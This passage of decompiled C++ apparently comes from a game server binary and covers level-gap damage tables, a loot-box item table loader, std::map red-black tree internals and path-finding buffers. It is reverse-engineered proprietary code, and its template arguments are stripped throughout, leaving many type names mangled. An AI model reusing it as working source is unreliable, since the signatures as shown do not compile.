(CDataReader *)(ITableBase::ms_pkTable + 4), i) ) return *((_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) + 1); } return 1000; } // 12570A44: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (0054D170) -------------------------------------------------------- int __cdecl LevelGap_Monster_to_Player::GetLevelCapRate(int nMonsterLv, int nPlayerLv) { unsigned int i; // esi@1 int v3; // eax@2 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; if ( nMonsterLv - nPlayerLv <= *(_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) ) return *((_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) + 1); } return 1000; } // 12570A48: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (0054D1D0) -------------------------------------------------------- bool __cdecl MysteryVaultTable::IsCheckClassType(ChrClassType CheckType, char classid) { CharClass *v2; // ecx@1 bool result; // al@3 v2 = CharClassManager::operator__(&charclassmanager, classid); if ( v2 ) { switch ( CheckType ) { case 0: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 1; break; case 1: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 11; break; case 2: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 6; break; case 3: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 16; break; case 4: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 21; break; case 5: result = 1; break; default: AssertClass::ac_AssertFail(&shineassert, "MysteryVaultTable::IsCheckClassType Not Define Type", 0); goto LABEL_10; } } else { LABEL_10: result = 0; } return result; } //----- (0054D270) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::_Lrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0054D2D0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_1>>::_Buynode(std::_Tree,std::allocator >,0> > *this) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator >,0> >::_Node *)operator new(0x18u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator >,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator >,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (0054D310) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall std::_Tree_std::allocator>_1>>::_Buynode(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Larg, std::_Tree_nod,std::allocator >,0> >::_Node *_Parg, std::_Tree_nod,std::allocator >,0> >::_Node *_Rarg, std::pair *_Val, char _Carg) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator >,0> >::_Node *)operator new(0x18u); if ( result ) { result->_Left = _Larg; result->_Right = _Rarg; result->_Parent = _Parg; result->_Myval.first = _Val->first; result->_Myval.second = _Val->second; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (0054D350) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::_Erase(std::_Tree,std::allocator >,1> > *this, std::_Tree_nod,std::allocator >,1> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,1> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,1> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_1>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (0054D390) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::Getloweriter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid) { std::_Tree_nod,std::allocator >,1> >::_Node *v2; // ecx@1 std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree,std::allocator >,1> >::iterator *v4; // eax@6 v2 = MysteryVaultTable::sm_ItemLists._Myhead; v3 = MysteryVaultTable::sm_ItemLists._Myhead->_Parent; while ( !v3->_Isnil ) { if ( v3->_Myval.first >= itemid ) { v2 = v3; v3 = v3->_Left; } else { v3 = v3->_Right; } } v4 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; return v4; } //----- (0054D3D0) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::GetUpperiter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid) { std::_Tree_nod,std::allocator >,1> >::_Node *v2; // ecx@1 std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree,std::allocator >,1> >::iterator *v4; // eax@6 v2 = MysteryVaultTable::sm_ItemLists._Myhead; v3 = MysteryVaultTable::sm_ItemLists._Myhead->_Parent; while ( !v3->_Isnil ) { if ( itemid >= v3->_Myval.first ) { v3 = v3->_Right; } else { v2 = v3; v3 = v3->_Left; } } v4 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; return v4; } //----- (0054D410) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::_Insert(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,1> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,1> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,1> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,1> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,1> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( (std::_Tree,std::allocator >,0> > *)this, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::pair *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0054D5C0) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::erase(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, std::_Tree,std::allocator >,1> >::iterator _Where) { std::_Tree,std::allocator >,1> > *v3; // ebp@1 std::_Tree,std::allocator >,1> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,1> >::iterator v5; // edi@5 std::_Tree,std::allocator >,1> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,1> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,1> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,1> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,1> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,1> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,1> >::iterator _Erasednode; // [sp+0h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v22; // [sp+50h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_1>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,1> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,1> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,1> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,1> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,1> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_0>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,1> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0054D880) -------------------------------------------------------- std::pair,std::allocator >,1> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_1>>::insert(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,bool> *result, std::pair *_Val) { std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v4; // esi@1 const unsigned __int16 v5; // di@2 int v6; // ecx@7 std::pair,std::allocator >,1> >::iterator,bool> *v7; // eax@7 char _Addleft; // [sp+8h] [bp-4h]@1 v3 = this->_Myhead->_Parent; v4 = this->_Myhead; _Addleft = 1; if ( !v3->_Isnil ) { v5 = _Val->first; do { v4 = v3; _Addleft = v5 < v3->_Myval.first; if ( v5 >= v3->_Myval.first ) v3 = v3->_Right; else v3 = v3->_Left; } while ( !v3->_Isnil ); } v6 = *(_DWORD *)&std::_Tree_std::allocator>_1>>::_Insert( this, (std::_Tree,std::allocator >,1> >::iterator *)&_Val, _Addleft, v4, _Val)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v7 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; result->second = 1; return v7; } //----- (0054D8F0) -------------------------------------------------------- int std::_Tree_std::allocator>_1>>::erase(...) { std::_Tree,std::allocator >,1> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,1> >::iterator v5; // esi@1 std::_Tree,std::allocator >,1> > *v6; // edi@1 std::_Tree_nod,std::allocator >,1> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,1> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,1> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,1> >::iterator j; // eax@7 std::_Tree,std::allocator >,1> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,1> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,1> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,1> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_1>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_1>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0054D9B0) -------------------------------------------------------- bool __thiscall MysteryVaultTable::DataProcess(MysteryVaultTable *this) { unsigned int i; // ebx@1 int v2; // eax@2 void *v3; // esi@4 unsigned __int16 v4; // di@4 SkillDataBox::SkillDataIndex *v5; // eax@5 unsigned __int16 v6; // ax@6 std::pair _Val; // [sp+10h] [bp-10h]@5 std::pair,std::allocator >,1> >::iterator,bool> result; // [sp+18h] [bp-8h]@5 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); v4 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v3); if ( v4 == -1 ) { AssertClass::ac_AssertFail( &shineassert, " MysteryBoltTable::DataProcess() Invalid Group ItemId :", (const char *)v3); return 0; } v5 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UsePresentBox"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4, &ui_mysterybolt, v5); _Val.first = v4; _Val.second = (MysteryVaultServer *)v3; if ( *(std::_Tree_nod,std::allocator >,1> >::_Node **)&std::_Tree_std::allocator>_1>>::insert(&MysteryVaultTable::sm_ItemLists, &result, &_Val)->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] == MysteryVaultTable::sm_ItemLists._Myhead ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::DataProcess() InSert Fail :", (const char *)v3); return 0; } v6 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v3 + 36); if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, " MysteryBoltTable::DataProcess() Invalid Make ItemId :", (const char *)v3 + 36); return 0; } if ( ItemDataBox::operator__(&itemdatabox, v6)->data->MaxLot < *((_BYTE *)v3 + 68) ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::DataProcess() Maxlot Over :", (const char *)v3 + 36); return 0; } } return 1; } // 12570A40: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (0054DAF0) -------------------------------------------------------- void __thiscall std::multimap_std::allocator>>::_multimap_std::allocator>>(std::multimap,std::allocator > > *this) { std::multimap,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,1> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,1> >::iterator)this; v1 = this; std::_Tree_std::allocator>_1>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,1> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,1> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (0054DB20) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator>_1>>::_Buynode(&this->baseclass_0); v1->baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->baseclass_0._Myhead->_Parent = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Left = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Right = v1->baseclass_0._Myhead; v1->baseclass_0._Mysize = 0; } //----- (0054DB50) -------------------------------------------------------- void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this) { this->np_RealY = 0; this->np_RealX = 0; this->np_IsDeleted = 0; } //----- (0054DB60) -------------------------------------------------------- void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this, unsigned int x, unsigned int y) { this->np_RealX = x; this->np_RealY = y; this->np_IsDeleted = 0; } //----- (0054DB80) -------------------------------------------------------- void __thiscall Navigator::MapNavigator::_MapNavigator(Navigator::MapNavigator *this) { operator delete(this->mn_CellBuffer.pfb_Buffer); } //----- (0054DB90) -------------------------------------------------------- void __cdecl std::fill(SHINE_XY_TYPE *_First, SHINE_XY_TYPE *_Last, SHINE_XY_TYPE *_Val) { SHINE_XY_TYPE *i; // eax@1 for ( i = _First; i != _Last; ++i ) { i->x = _Val->x; i->y = _Val->y; } } //----- (0054DBC0) -------------------------------------------------------- TickTimer *__cdecl std::_Copy_backward_opt(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { TickTimer *v4; // ecx@1 TickTimer *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; *(_DWORD *)&result->m_bEnable = *(_DWORD *)&v4->m_bEnable ) { --v4; --result; result->m_CurDelayTime = v4->m_CurDelayTime; result->m_DelayTime = v4->m_DelayTime; } return result; } //----- (0054DC00) -------------------------------------------------------- void __thiscall Navigator::PathFindBuffer::PathFindBuffer(Navigator::PathFindBuffer *this, int buffersize) { Navigator::PathFindBuffer *v2; // esi@1 int v3; // ecx@1 int v4; // edx@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Navigator::PathFindBuffer::PathFindBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Navigator::PathFindBuffer::PathFindBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->pfb_BufferSize = buffersize; v2->pfb_Buffer = (Navigator::PathFindCell *)operator new__((2 * buffersize + 1) * (40 * buffersize + 20)); v3 = 0; if ( (2 * v2->pfb_BufferSize + 1) * (2 * v2->pfb_BufferSize + 1) > 0 ) { v4 = 0; do { v2->pfb_Buffer[v4].pfc_EmptyFlag = -1; ++v3; ++v4; } while ( v3 < (2 * v2->pfb_BufferSize + 1) * (2 * v2->pfb_BufferSize + 1) ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Navigator::PathFindBuffer::PathFindBuffer"); } //----- (0054DCF0) -------------------------------------------------------- Navigator::PathFindCell *__thiscall Navigator::PathFindBuffer::operator__(Navigator::PathFindBuffer *this, 